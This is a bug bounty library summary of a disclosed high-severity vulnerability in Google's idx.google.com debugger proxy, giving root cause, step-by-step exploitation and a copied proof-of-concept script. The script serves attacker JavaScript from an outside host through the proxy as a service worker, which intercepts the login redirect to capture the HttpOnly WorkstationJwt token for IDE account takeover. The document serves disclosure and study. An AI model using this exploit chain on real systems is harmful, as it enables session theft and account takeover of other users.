# idx.google.com XSS

Debugger proxy on idx.google.com fetched attacker JS as a service worker, leaking the HttpOnly WorkstationJwt via login redirect URL and enabling IDE account takeover.

- Payout: $3,134
- Severity: high
- Program: Google
- Found by: NDevTK
- Disclosed: 2024-08-01
- Write-up quality: 8/10
- Original: https://ndevtk.github.io/writeups/2024/08/01/projectidx/
- Library page: https://bugbountylibrary.com/r/blog%3Andevtk-github-io-writeups-2024-08-01-projectidx
- Tags: area:web domain:web impact:ato impact:data-leak kind:bounty platform:blog sev:high tech:oauth technique:chained technique:js-analysis vuln:account-takeover vuln:info-disclosure vuln:xss

**Target:** idx.google.com / cloudworkstations.dev debugger proxy endpoint (/proxy?url=)
**Root cause:** The debugger proxy endpoint fetches and serves arbitrary attacker-controlled URLs as JavaScript from the victim's origin, allowing service worker registration on the cloudworkstations.dev origin that intercepts the _workstation/login redirect containing the auth token.
**Steps:**
1. Create a simple HTML project in Firebase Studio/IDX and load it.
2. Extract the workstation ID from the iframe URL `https://9000-monospace-<ID>.cloudworkstations.dev`.
3. Host a service worker payload on an attacker server that listens for fetch events and logs URLs containing `_workstation/login`.
4. Register the service worker via `navigator.serviceWorker.register("${target + encodeURIComponent(proxy.href)}")`.
5. Trigger re-auth by navigating to a page that sends `Clear-Site-Data: "cookies"` then reloads origin.
6. Observe leaked token in console: `https://8282-monospace-<ID>.cloudworkstations.dev/_workstation/login?redirect=<secret>`.
7. Replay the leaked URL in a fresh browser to obtain the WorkstationJwt cookie, then change its domain to `80-monospace-<ID>.cloudworkstations.dev` to log into the IDE.
**How found:** Recognized the debugger proxy fetches arbitrary URLs and serves them as JS from the victim origin, then reasoned that a service worker registered via the proxy could intercept the cross-site OAuth redirect that carries the token in the URL.
**Exploitation:** Attacker lures victim to a malicious page that navigates to the vulnerable proxy endpoint, which serves attacker JS as a service worker scoped to the cloudworkstations.dev origin. The SW intercepts the OAuth login redirect, capturing the HttpOnly WorkstationJwt from the redirect URL. Attacker replays the URL to authenticate and pivots the cookie domain to access the IDE.
**Escalation:** Token leak escalates from debugger access to full IDE login by re-scoping the WorkstationJwt cookie to the IDE subdomain.
**Insight:** When a proxy endpoint on a privileged origin fetches attacker URLs and returns them with a JS content type, try registering a service worker through it to gain persistent fetch interception on that origin and capture tokens from redirect URLs.

## Proof of concept (copied exactly from the original report)

**Exploit script abusing debugger proxy to leak token**

```
// Vulnerable debugger proxy (Runs any js code you want, Fetch as the victims server)
let target = 'https://8282-monospace-<ID>.cloudworkstations.dev/proxy?url=';

// Link to our service worker
let proxy = new URL('https://terjanq.me/xss.php');
proxy.searchParams.set('ct', 'application/javascript');
proxyPayload = `
self.addEventListener("fetch", (event) => {
 let url = event.request.url;
 // Leak token from redirect since its a httponly cookie
 // Authentication is done by:
 // Redirecting the user to https://ssh.cloud.google.com/devshell/gateway/oauth?state=<value> (Cross-site, COOP, embed protection)
 // https://<PORT>-idx-<ID>.cloudworkstations.dev/_workstation/login?redirect=<value> this sets a cookie then redirects back.
 if (url.includes("_workstation/login")) {
 console.info('🎉 Leaked token: '+url);
 }
});
`;
proxy.searchParams.set('html', proxyPayload);

// Link to force a re-authenticate
let reauth = new URL('https://terjanq.me/xss.php');
reauth.searchParams.set('h[Clear-Site-Data]', '"cookies"');
reauthPayload = `
setTimeout(() => { location.href=location.origin }, 3000);
`;
reauth.searchParams.set('js', reauthPayload);

// Link to create service worker
let setup = new URL('https://terjanq.me/xss.php');
setupPayload = `
navigator.serviceWorker.register("${target + encodeURIComponent(proxy.href)}");
setTimeout(() => { location.href="${target + encodeURIComponent(reauth.href)}" }, 3000);
`;
setup.searchParams.set('js', setupPayload);

// Do the stuff
location = target + encodeURIComponent(setup.href);
```

